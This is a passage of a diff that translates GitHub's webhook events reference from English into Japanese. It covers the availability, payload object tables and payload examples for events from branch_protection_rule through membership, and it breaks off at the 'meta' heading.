-Activity related to a branch protection rule. For more information, see "[About branch protection rules](/github/administering-a-repository/defining-the-mergeability-of-pull-requests/about-protected-branches#about-branch-protection-rules)."
+ブランチ保護ルールに関するアクティビティです。 詳しい情報については「[ブランチ保護ルールについて](/github/administering-a-repository/defining-the-mergeability-of-pull-requests/about-protected-branches#about-branch-protection-rules)」を参照してください。
 
-### Availability
+### 利用の可否
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with at least `read-only` access on repositories administration
+- リポジトリ webhook
+- Organization webhook
+- リポジトリ管理者に少なくとも `read-only` アクセス権限がある{% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### webhook ペイロードオブジェクト
 
-Key | Type | Description
-----|------|-------------
-`action` |`string` | The action performed. Can be `created`, `edited`, or `deleted`.
-`rule` | `object` | The branch protection rule. Includes a `name` and all the [branch protection settings](/github/administering-a-repository/defining-the-mergeability-of-pull-requests/about-protected-branches#about-branch-protection-settings) applied to branches that match the name. Binary settings are boolean. Multi-level configurations are one of `off`, `non_admins`, or `everyone`. Actor and build lists are arrays of strings.
-`changes` | `object` | If the action was `edited`, the changes to the rule.
+| キー        | 種類       | 説明                                                                                                                                                                                                                                                                                  |
+| --------- | -------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `action`  | `string` | 実行されたアクション。 `created`、`edited`、`deleted` のいずれかを指定可。                                                                                                                                                                                                                                 |
+| `rule`    | `オブジェクト` | ブランチ保護ルール。 `name`と、この名前に一致するブランチに適用される全ての[ブランチ保護設定](/github/administering-a-repository/defining-the-mergeability-of-pull-requests/about-protected-branches#about-branch-protection-settings)が含まれる。 バイナリ設定はブール値です。 マルチレベル設定は`off`、`non_admins`、`everyone`のいずれか。 アクターとビルドのリストは文字列の配列。 |
+| `changes` | `オブジェクト` | アクションが編集 (`edited`) された場合、ルールが変更される。                                                                                                                                                                                                                                                |
 {% data reusables.webhooks.repo_desc %}
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### webhook ペイロードの例
 
 {{ webhookPayloadsForCurrentVersion.branch_protection_rule.edited }}
 {% endif %}
@@ -132,13 +133,13 @@ Key | Type | Description
 
 {% data reusables.apps.undetected-pushes-to-a-forked-repository-for-check-suites %}
 
-### Availability
+### 利用の可否
 
-- Repository webhooks only receive payloads for the `created` and `completed` event types in a repository
-- Organization webhooks only receive payloads for the `created` and `completed` event types in repositories
-- {% data variables.product.prodname_github_apps %} with the `checks:read` permission receive payloads for the `created` and `completed` events that occur in the repository where the app is installed. The app must have the `checks:write` permission to receive the `rerequested` and `requested_action` event types. The `rerequested` and `requested_action` event type payloads are only sent to the {% data variables.product.prodname_github_app %} being requested. {% data variables.product.prodname_github_apps %} with the `checks:write` are automatically subscribed to this webhook event.
+- リポジトリ webhook は、リポジトリ内の `created` および `completed` イベントタイプのペイロードのみを受信します
+- Organization webhook は、リポジトリで `created` および `completed` イベントタイプのペイロードのみを受信します
+- `checks:read` 権限のある {% data variables.product.prodname_github_apps %} は、アプリがインストールされているリポジトリで発生する `created` および `completed` イベントのペイロードを受信します。 `rerequested` および `requested_action` イベントタイプを受信するには、アプリケーションに `checks:write` 権限が必要です。 `rerequested` および `requested_action` イベントタイプのペイロードは、リクエストされている {% data variables.product.prodname_github_app %} にのみ送信されます。 `checks:write` のある {% data variables.product.prodname_github_apps %} は、この webhook イベントに自動的にサブスクライブされます。
 
-### Webhook payload object
+### webhook ペイロードオブジェクト
 
 {% data reusables.webhooks.check_run_properties %}
 {% data reusables.webhooks.repo_desc %}
@@ -146,7 +147,7 @@ Key | Type | Description
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### webhook ペイロードの例
 
 {{ webhookPayloadsForCurrentVersion.check_run.created }}
 
@@ -156,13 +157,13 @@ Key | Type | Description
 
 {% data reusables.apps.undetected-pushes-to-a-forked-repository-for-check-suites %}
 
-### Availability
+### 利用の可否
 
-- Repository webhooks only receive payloads for the `completed` event types in a repository
-- Organization webhooks only receive payloads for the `completed` event types in repositories
-- {% data variables.product.prodname_github_apps %} with the `checks:read` permission receive payloads for the `created` and `completed` events that occur in the repository where the app is installed. The app must have the `checks:write` permission to receive the `requested` and `rerequested` event types. The `requested` and `rerequested` event type payloads are only sent to the {% data variables.product.prodname_github_app %} being requested. {% data variables.product.prodname_github_apps %} with the `checks:write` are automatically subscribed to this webhook event.
+- リポジトリ webhook は、リポジトリ内の `completed` イベントタイプのペイロードのみを受信します
+- Organization webhook は、リポジトリで `completed` イベントタイプのペイロードのみを受信します
+- `checks:read` 権限のある {% data variables.product.prodname_github_apps %} は、アプリがインストールされているリポジトリで発生する `created` および `completed` イベントのペイロードを受信します。 `requested` および `rerequested` イベントタイプを受信するには、アプリケーションに `checks:write` 権限が必要です。 `requested` および `rerequested` イベントタイプのペイロードは、リクエストされている {% data variables.product.prodname_github_app %} にのみ送信されます。 `checks:write` のある {% data variables.product.prodname_github_apps %} は、この webhook イベントに自動的にサブスクライブされます。
 
-### Webhook payload object
+### webhook ペイロードオブジェクト
 
 {% data reusables.webhooks.check_suite_properties %}
 {% data reusables.webhooks.repo_desc %}
@@ -170,7 +171,7 @@ Key | Type | Description
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### webhook ペイロードの例
 
 {{ webhookPayloadsForCurrentVersion.check_suite.completed }}
 
@@ -178,21 +179,21 @@ Key | Type | Description
 
 {% data reusables.webhooks.code_scanning_alert_event_short_desc %}
 
-### Availability
+### 利用の可否
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `security_events :read` permission
+- リポジトリ webhook
+- Organization webhook
+- `security_events :read` 権限のある {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### webhook ペイロードオブジェクト
 
 {% data reusables.webhooks.code_scanning_alert_event_properties %}
 {% data reusables.webhooks.repo_desc %}
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.app_desc %}
-`sender` | `object` | If the `action` is `reopened_by_user` or `closed_by_user`, the `sender` object will be the user that triggered the event. The `sender` object is {% ifversion fpt or ghec %}`github`{% elsif ghes > 3.0 or ghae %}`github-enterprise`{% else %}empty{% endif %} for all other actions.
+`sender` | `object` | `action` が `reopened_by_user` または `closed_by_user` の場合、`sender` オブジェクトは、イベントをトリガーしたユーザになります。 `sender`オブジェクトは、他の全てのアクションに対して{% ifversion fpt or ghec %}`github`{% elsif ghes > 3.0 or ghae %}`github-enterprise`{% else %}empty{% endif %}です。
 
-### Webhook payload example
+### webhook ペイロードの例
 
 {{ webhookPayloadsForCurrentVersion.code_scanning_alert.reopened }}
 
@@ -200,13 +201,13 @@ Key | Type | Description
 
 {% data reusables.webhooks.commit_comment_short_desc %}
 
-### Availability
+### 利用の可否
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `contents` permission
+- リポジトリ webhook
+- Organization webhook
+- `contents` 権限のある {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### webhook ペイロードオブジェクト
 
 {% data reusables.webhooks.commit_comment_properties %}
 {% data reusables.webhooks.repo_desc %}
@@ -214,7 +215,7 @@ Key | Type | Description
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### webhook ペイロードの例
 
 {{ webhookPayloadsForCurrentVersion.commit_comment.created }}
 
@@ -223,13 +224,13 @@ Key | Type | Description
 
 {% data reusables.webhooks.content_reference_short_desc %}
 
-Webhook events are triggered based on the specificity of the domain you register. For example, if you register a subdomain (`https://subdomain.example.com`) then only URLs for the subdomain trigger this event. If you register a domain (`https://example.com`) then URLs for domain and all subdomains trigger this event. See "[Create a content attachment](/rest/reference/apps#create-a-content-attachment)" to create a new content attachment.
+webhook イベントは、登録したドメインの特異性に基づいてトリガーされます。 たとえば、サブドメイン (`https://subdomain.example.com`) を登録すると、サブドメインの URL のみがこのイベントをトリガーします。 ドメイン (`https://example.com`) を登録すると、ドメインとすべてのサブドメインの URL がこのイベントをトリガーします。 新しいコンテンツ添付ファイルを作成するには、「[コンテンツ添付ファイルの作成](/rest/reference/apps#create-a-content-attachment)」を参照してください。
 
-### Availability
+### 利用の可否
 
-- {% data variables.product.prodname_github_apps %} with the `content_references:write` permission
+- `content_references:write` 権限のある {% data variables.product.prodname_github_apps %}
 
-### Webhook payload example
+### webhook ペイロードの例
 
 {{ webhookPayloadsForCurrentVersion.content_reference.created }}
 
@@ -240,17 +241,17 @@ Webhook events are triggered based on the specificity of the domain you register
 
 {% note %}
 
-**Note:** You will not receive a webhook for this event when you push more than three tags at once.
+**注釈:** 一度に 3 つ以上のタグをプッシュすると、このイベントの webhook を受信しません。
 
 {% endnote %}
 
-### Availability
+### 利用の可否
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `contents` permission
+- リポジトリ webhook
+- Organization webhook
+- `contents` 権限のある {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### webhook ペイロードオブジェクト
 
 {% data reusables.webhooks.create_properties %}
 {% data reusables.webhooks.pusher_type_desc %}
@@ -259,7 +260,7 @@ Webhook events are triggered based on the specificity of the domain you register
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### webhook ペイロードの例
 
 {{ webhookPayloadsForCurrentVersion.create }}
 
@@ -269,17 +270,17 @@ Webhook events are triggered based on the specificity of the domain you register
 
 {% note %}
 
-**Note:** You will not receive a webhook for this event when you delete more than three tags at once.
+**注釈:** 一度に 3 つ以上のタグを削除すると、このイベントの webhook を受信しません。
 
 {% endnote %}
 
-### Availability
+### 利用の可否
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `contents` permission
+- リポジトリ webhook
+- Organization webhook
+- `contents` 権限のある {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### webhook ペイロードオブジェクト
 
 {% data reusables.webhooks.delete_properties %}
 {% data reusables.webhooks.pusher_type_desc %}
@@ -288,7 +289,7 @@ Webhook events are triggered based on the specificity of the domain you register
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### webhook ペイロードの例
 
 {{ webhookPayloadsForCurrentVersion.delete }}
 
@@ -296,19 +297,19 @@ Webhook events are triggered based on the specificity of the domain you register
 
 {% data reusables.webhooks.deploy_key_short_desc %}
 
-### Availability
+### 利用の可否
 
-- Repository webhooks
-- Organization webhooks
+- リポジトリ webhook
+- Organization webhook
 
-### Webhook payload object
+### webhook ペイロードオブジェクト
 
 {% data reusables.webhooks.deploy_key_properties %}
 {% data reusables.webhooks.repo_desc %}
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### webhook ペイロードの例
 
 {{ webhookPayloadsForCurrentVersion.deploy_key.created }}
 
@@ -316,24 +317,24 @@ Webhook events are triggered based on the specificity of the domain you register
 
 {% data reusables.webhooks.deployment_short_desc %}
 
-### Availability
+### 利用の可否
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `deployments` permission
+- リポジトリ webhook
+- Organization webhook
+- `deployments` 権限のある {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### webhook ペイロードオブジェクト
 
-Key | Type | Description
-----|------|-------------{% ifversion fpt or ghes or ghae or ghec %}
-`action` |`string` | The action performed. Can be `created`.{% endif %}
-`deployment` |`object` | The [deployment](/rest/reference/deployments#list-deployments).
+| キー           | 種類                                          | 説明                                                       |
+| ------------ | ------------------------------------------- | -------------------------------------------------------- |{% ifversion fpt or ghes or ghae or ghec %}
+| `action`     | `string`                                    | 実行されたアクション。 `created` を指定可。{% endif %}
+| `deployment` | `オブジェクト`                                    | [デプロイメント](/rest/reference/deployments#list-deployments)。 |
 {% data reusables.webhooks.repo_desc %}
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### webhook ペイロードの例
 
 {{ webhookPayloadsForCurrentVersion.deployment }}
 
@@ -341,54 +342,54 @@ Key | Type | Description
 
 {% data reusables.webhooks.deployment_status_short_desc %}
 
-### Availability
+### 利用の可否
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `deployments` permission
+- リポジトリ webhook
+- Organization webhook
+- `deployments` 権限のある {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### webhook ペイロードオブジェクト
 
-Key | Type | Description
-----|------|-------------{% ifversion fpt or ghes or ghae or ghec %}
-`action` |`string` | The action performed. Can be `created`.{% endif %}
-`deployment_status` |`object` | The [deployment status](/rest/reference/deployments#list-deployment-statuses).
-`deployment_status["state"]` |`string` | The new state. Can be `pending`, `success`, `failure`, or `error`.
-`deployment_status["target_url"]` |`string` | The optional link added to the status.
-`deployment_status["description"]`|`string` | The optional human-readable description added to the status.
-`deployment` |`object` | The [deployment](/rest/reference/deployments#list-deployments) that this status is associated with.
+| キー                                 | 種類                                          | 説明                                                                         |
+| ---------------------------------- | ------------------------------------------- | -------------------------------------------------------------------------- |{% ifversion fpt or ghes or ghae or ghec %}
+| `action`                           | `string`                                    | 実行されたアクション。 `created` を指定可。{% endif %}
+| `deployment_status`                | `オブジェクト`                                    | [デプロイメントステータス](/rest/reference/deployments#list-deployment-statuses)。      |
+| `deployment_status["state"]`       | `string`                                    | 新しい状態。 `pending`、`success`、`failure`、`error` のいずれかを指定可。                    |
+| `deployment_status["target_url"]`  | `string`                                    | ステータスに追加されたオプションのリンク。                                                      |
+| `deployment_status["description"]` | `string`                                    | オプションの人間可読の説明がステータスに追加。                                                    |
+| `deployment`                       | `オブジェクト`                                    | このステータスが関連付けられている [デプロイメント](/rest/reference/deployments#list-deployments)。 |
 {% data reusables.webhooks.repo_desc %}
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### webhook ペイロードの例
 
 {{ webhookPayloadsForCurrentVersion.deployment_status }}
 
 {% ifversion fpt or ghec %}
-## discussion
+## ディスカッション
 
 {% data reusables.webhooks.discussions-webhooks-beta %}
 
-Activity related to a discussion. For more information, see the "[Using the GraphQL API for discussions]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/using-the-graphql-api-for-discussions)."
-### Availability
+ディスカッションに関連するアクティビティ。 詳しい情報については、「[ディスカッションでのGraphQL APIの利用]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/using-the-graphql-api-for-discussions)」を参照してください。
+### 利用の可否
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `discussions` permission
+- リポジトリ webhook
+- Organization webhook
+- `discussions` 権限のある {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### webhook ペイロードオブジェクト
 
-Key | Type | Description
-----|------|-------------
-`action` |`string` | The action performed. Can be `created`, `edited`, `deleted`, `pinned`, `unpinned`, `locked`, `unlocked`, `transferred`, `category_changed`, `answered`, or `unanswered`.
+| キー       | 種類       | 説明                                                                                                                                              |
+| -------- | -------- | ----------------------------------------------------------------------------------------------------------------------------------------------- |
+| `action` | `string` | 実行されたアクション。 `created`、`edited`、`deleted`、`pinned`、`unpinned`、`locked`、`unlocked`、`transferred`、`category_changed`、`answered`、`unanswered`のいずれか。 |
 {% data reusables.webhooks.discussion_desc %}
 {% data reusables.webhooks.repo_desc_graphql %}
 {% data reusables.webhooks.org_desc_graphql %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### webhook ペイロードの例
 
 {{ webhookPayloadsForCurrentVersion.discussion.created }}
 
@@ -396,63 +397,63 @@ Key | Type | Description
 
 {% data reusables.webhooks.discussions-webhooks-beta %}
 
-Activity related to a comment in a discussion. For more information, see "[Using the GraphQL API for discussions]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/using-the-graphql-api-for-discussions)."
+ディスカッションのコメントに関連するアクティビティ。 詳しい情報については、「[ディスカッションでのGraphQL APIの利用]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/using-the-graphql-api-for-discussions)」を参照してください。
 
-### Availability
+### 利用の可否
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `discussions` permission
+- リポジトリ webhook
+- Organization webhook
+- `discussions` 権限のある {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### webhook ペイロードオブジェクト
 
-Key | Type | Description
-----|------|-------------
-`action` |`string` | The action performed. Can be `created`, `edited`, or `deleted`.
-`comment` | `object` | The [`discussion comment`]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/using-the-graphql-api-for-discussions#discussioncomment) resource.
+| キー       | 種類       | 説明                                                                                                                                                         |
+| -------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `action` | `string` | 実行されたアクション。 `created`、`edited`、`deleted` のいずれかを指定可。                                                                                                        |
+| `コメント`   | `オブジェクト` | [`discussion comment`]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/using-the-graphql-api-for-discussions#discussioncomment) のリソース。 |
 {% data reusables.webhooks.discussion_desc %}
 {% data reusables.webhooks.repo_desc_graphql %}
 {% data reusables.webhooks.org_desc_graphql %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### webhook ペイロードの例
 
 {{ webhookPayloadsForCurrentVersion.discussion_comment.created }}
 {% endif %}
 
 {% ifversion ghes or ghae %}
 
-## enterprise
+## Enterprise
 
 {% data reusables.webhooks.enterprise_short_desc %}
 
-### Availability
+### 利用の可否
 
-- GitHub Enterprise webhooks. For more information, "[Global webhooks](/rest/reference/enterprise-admin#global-webhooks/)."
+- GitHub Enterprise webhook。 詳しい情報については「[グローバル webhook](/rest/reference/enterprise-admin#global-webhooks/)」を参照してください。
 
-### Webhook payload object
+### webhook ペイロードオブジェクト
 
-Key | Type | Description
-----|------|-------------
-`action` |`string` | The action performed. Can be `anonymous_access_enabled` or `anonymous_access_disabled`.
+| キー       | 種類       | 説明                                                                            |
+| -------- | -------- | ----------------------------------------------------------------------------- |
+| `action` | `string` | 実行されたアクション。 `anonymous_access_enabled`、`anonymous_access_disabled` のいずれかを指定可。 |
 
-### Webhook payload example
+### webhook ペイロードの例
 
 {{ webhookPayloadsForCurrentVersion.enterprise.anonymous_access_enabled }}
 
 {% endif %}
 
-## fork
+## フォーク
 
 {% data reusables.webhooks.fork_short_desc %}
 
-### Availability
+### 利用の可否
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `contents` permission
+- リポジトリ webhook
+- Organization webhook
+- `contents` 権限のある {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### webhook ペイロードオブジェクト
 
 {% data reusables.webhooks.fork_properties %}
 {% data reusables.webhooks.repo_desc %}
@@ -460,28 +461,28 @@ Key | Type | Description
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### webhook ペイロードの例
 
 {{ webhookPayloadsForCurrentVersion.fork }}
 
 ## github_app_authorization
 
-When someone revokes their authorization of a {% data variables.product.prodname_github_app %}, this event occurs. A {% data variables.product.prodname_github_app %} receives this webhook by default and cannot unsubscribe from this event.
+{% data variables.product.prodname_github_app %} の承認を取り消すと、このイベントが発生します。 {% data variables.product.prodname_github_app %} は、デフォルトでこの webhook を受信し、このイベントをサブスクライブ解除できません。
 
-{% data reusables.webhooks.authorization_event %} For details about user-to-server requests, which require {% data variables.product.prodname_github_app %} authorization, see "[Identifying and authorizing users for {% data variables.product.prodname_github_apps %}](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)."
+{% data reusables.webhooks.authorization_event %}{% data variables.product.prodname_github_app %} 認証を必要とするユーザからサーバーへのリクエストの詳細については、「[{% data variables.product.prodname_github_apps %} のユーザーの識別と認証](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)」を参照してください。
 
-### Availability
+### 利用の可否
 
 - {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### webhook ペイロードオブジェクト
 
-Key | Type | Description
-----|------|-------------
-`action` |`string` | The action performed. Can be `revoked`.
+| キー       | 種類       | 説明                          |
+| -------- | -------- | --------------------------- |
+| `action` | `string` | 実行されたアクション。 `revoked` を指定可。 |
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### webhook ペイロードの例
 
 {{ webhookPayloadsForCurrentVersion.github_app_authorization.revoked }}
 
@@ -489,13 +490,13 @@ Key | Type | Description
 
 {% data reusables.webhooks.gollum_short_desc %}
 
-### Availability
+### 利用の可否
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `contents` permission
+- リポジトリ webhook
+- Organization webhook
+- `contents` 権限のある {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### webhook ペイロードオブジェクト
 
 {% data reusables.webhooks.gollum_properties %}
 {% data reusables.webhooks.repo_desc %}
@@ -503,25 +504,25 @@ Key | Type | Description
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### webhook ペイロードの例
 
 {{ webhookPayloadsForCurrentVersion.gollum }}
 
-## installation
+## インストール
 
 {% data reusables.webhooks.installation_short_desc %}
 
-### Availability
+### 利用の可否
 
 - {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### webhook ペイロードオブジェクト
 
 {% data reusables.webhooks.installation_properties %}
 {% data reusables.webhooks.app_always_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### webhook ペイロードの例
 
 {{ webhookPayloadsForCurrentVersion.installation.deleted }}
 
@@ -529,17 +530,17 @@ Key | Type | Description
 
 {% data reusables.webhooks.installation_repositories_short_desc %}
 
-### Availability
+### 利用の可否
 
 - {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### webhook ペイロードオブジェクト
 
 {% data reusables.webhooks.installation_repositories_properties %}
 {% data reusables.webhooks.app_always_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### webhook ペイロードの例
 
 {{ webhookPayloadsForCurrentVersion.installation_repositories.added }}
 
@@ -547,13 +548,13 @@ Key | Type | Description
 
 {% data reusables.webhooks.issue_comment_short_desc %}
 
-### Availability
+### 利用の可否
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `issues` permission
+- リポジトリ webhook
+- Organization webhook
+- `issues` 権限のある {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### webhook ペイロードオブジェクト
 
 {% data reusables.webhooks.issue_comment_webhook_properties %}
 {% data reusables.webhooks.issue_comment_properties %}
@@ -562,7 +563,7 @@ Key | Type | Description
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### webhook ペイロードの例
 
 {{ webhookPayloadsForCurrentVersion.issue_comment.created }}
 
@@ -570,13 +571,13 @@ Key | Type | Description
 
 {% data reusables.webhooks.issues_short_desc %}
 
-### Availability
+### 利用の可否
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `issues` permission
+- リポジトリ webhook
+- Organization webhook
+- `issues` 権限のある {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### webhook ペイロードオブジェクト
 
 {% data reusables.webhooks.issue_webhook_properties %}
 {% data reusables.webhooks.issue_properties %}
@@ -585,72 +586,72 @@ Key | Type | Description
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example when someone edits an issue
+### Issue 編集時の webhook ペイロードの例
 
 {{ webhookPayloadsForCurrentVersion.issues.edited }}
 
-## label
+## ラベル
 
 {% data reusables.webhooks.label_short_desc %}
 
-### Availability
+### 利用の可否
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `metadata` permission
+- リポジトリ webhook
+- Organization webhook
+- `metadata` 権限のある {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### webhook ペイロードオブジェクト
 
-Key | Type | Description
-----|------|-------------
-`action`|`string` | The action that was performed. Can be `created`, `edited`, or `deleted`.
-`label`|`object` | The label that was added.
-`changes`|`object`| The changes to the label if the action was `edited`.
-`changes[name][from]`|`string` | The previous version of the name if the action was `edited`.
-`changes[color][from]`|`string` | The previous version of the color if the action was `edited`.
+| キー                     | 種類       | 説明                                                  |
+| ---------------------- | -------- | --------------------------------------------------- |
+| `action`               | `string` | 実行されたアクション. `created`、`edited`、`deleted` のいずれかを指定可。 |
+| `ラベル`                  | `オブジェクト` | ラベルが追加された。                                          |
+| `changes`              | `オブジェクト` | アクションが `edited` の場合のラベルへの変更。                        |
+| `changes[name][from]`  | `string` | アクションが`edited`だった場合、以前のバージョンの名前。                    |
+| `changes[color][from]` | `string` | アクションが `edited` の場合の以前のバージョンの色。                     |
 {% data reusables.webhooks.repo_desc %}
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### webhook ペイロードの例
 
 {{ webhookPayloadsForCurrentVersion.label.deleted }}
 
 {% ifversion fpt or ghec %}
 ## marketplace_purchase
 
-Activity related to a GitHub Marketplace purchase. {% data reusables.webhooks.action_type_desc %} For more information, see the "[GitHub Marketplace](/marketplace/)."
+GitHub Marketplace の購入に関連するアクティビティ。 {% data reusables.webhooks.action_type_desc %} 詳しい情報については、「[GitHub Marketplace](/marketplace/)」を参照してください。
 
-### Availability
+### 利用の可否
 
 - {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### webhook ペイロードオブジェクト
 
-Key | Type | Description
-----|------|-------------
-`action` | `string` | The action performed for a [GitHub Marketplace](https://github.com/marketplace) plan. Can be one of:<ul><li>`purchased` - Someone purchased a GitHub Marketplace plan. The change should take effect on the account immediately.</li><li>`pending_change` - You will receive the `pending_change` event when someone has downgraded or cancelled a GitHub Marketplace plan to indicate a change will occur on the account. The new plan or cancellation takes effect at the end of the billing cycle.  The `cancelled` or `changed` event type will be sent when the billing cycle has ended and the cancellation or new plan should take effect.</li><li>`pending_change_cancelled` - Someone has cancelled a pending change. Pending changes include plan cancellations and downgrades that will take effect at the end of a billing cycle. </li><li>`changed` - Someone has upgraded or downgraded a GitHub Marketplace plan and the change should take effect on the account immediately.</li><li>`cancelled` - Someone cancelled a GitHub Marketplace plan and the last billing cycle has ended. The change should take effect on the account immediately.</li></ul>
+| キー       | 種類       | 説明                                                                                                            |
+| -------- | -------- | ------------------------------------------------------------------------------------------------------------- |
+| `action` | `string` | [GitHub Marketplace](https://github.com/marketplace) プランに対して実行されたアクション。 次のいずれかになります。<ul><li>「purchased」- GitHub Marketplace プランを購入しました。 変更はアカウントですぐに有効になります。</li><li>「pending_change」- GitHub Marketplace プランをダウングレードまたはキャンセルしたときに、アカウントで変更が発生することを示す「pending_change」イベントを受け取ります。 新しいプランまたはキャンセルは、支払いサイクルの終了時に有効になります。  「キャンセル」または「変更」イベントタイプは、支払いサイクルが終了し、キャンセルまたは新しいプランが有効になると送信されます。</li><li>「pending_change_cancelled」- 保留中の変更をキャンセルしました。 保留中の変更には、支払いサイクルの終了時に有効になるプランのキャンセルとダウングレードが含まれます。 </li><li>「changed」- GitHub Marketplace プランをアップグレードまたはダウングレードしたため、変更がアカウントですぐに有効になります。</li><li>「cancelled」- GitHub Marketplace プランをキャンセルし、最後の支払いサイクルが終了しました。 変更はアカウントですぐに有効になります。</li></ul> |
 
-For a detailed description of this payload and the payload for each type of `action`, see [{% data variables.product.prodname_marketplace %} webhook events](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/).
+このペイロードと各タイプの `action` のペイロードの詳細については、「[{% data variables.product.prodname_marketplace %} webhook イベント](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/)」を参照してください。
 
-### Webhook payload example when someone purchases the plan
+### プラン購入時の webhook ペイロードの例
 
 {{ webhookPayloadsForCurrentVersion.marketplace_purchase.purchased }}
 
 {% endif %}
 
-## member
+## メンバー
 
 {% data reusables.webhooks.member_short_desc %}
 
-### Availability
+### 利用の可否
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `members` permission
+- リポジトリ webhook
+- Organization webhook
+- `members` 権限のある {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### webhook ペイロードオブジェクト
 
 {% data reusables.webhooks.member_webhook_properties %}
 {% data reusables.webhooks.member_properties %}
@@ -659,7 +660,7 @@ For a detailed description of this payload and the payload for each type of `act
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### webhook ペイロードの例
 
 {{ webhookPayloadsForCurrentVersion.member.added }}
 
@@ -667,57 +668,57 @@ For a detailed description of this payload and the payload for each type of `act
 
 {% data reusables.webhooks.membership_short_desc %}
 
-### Availability
+### 利用の可否
 
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `members` permission
+- Organization webhook
+- `members` 権限のある {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### webhook ペイロードオブジェクト
 
 {% data reusables.webhooks.membership_properties %}
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### webhook ペイロードの例
 
 {{ webhookPayloadsForCurrentVersion.membership.removed }}
 
-## meta
+## メタ情報
 
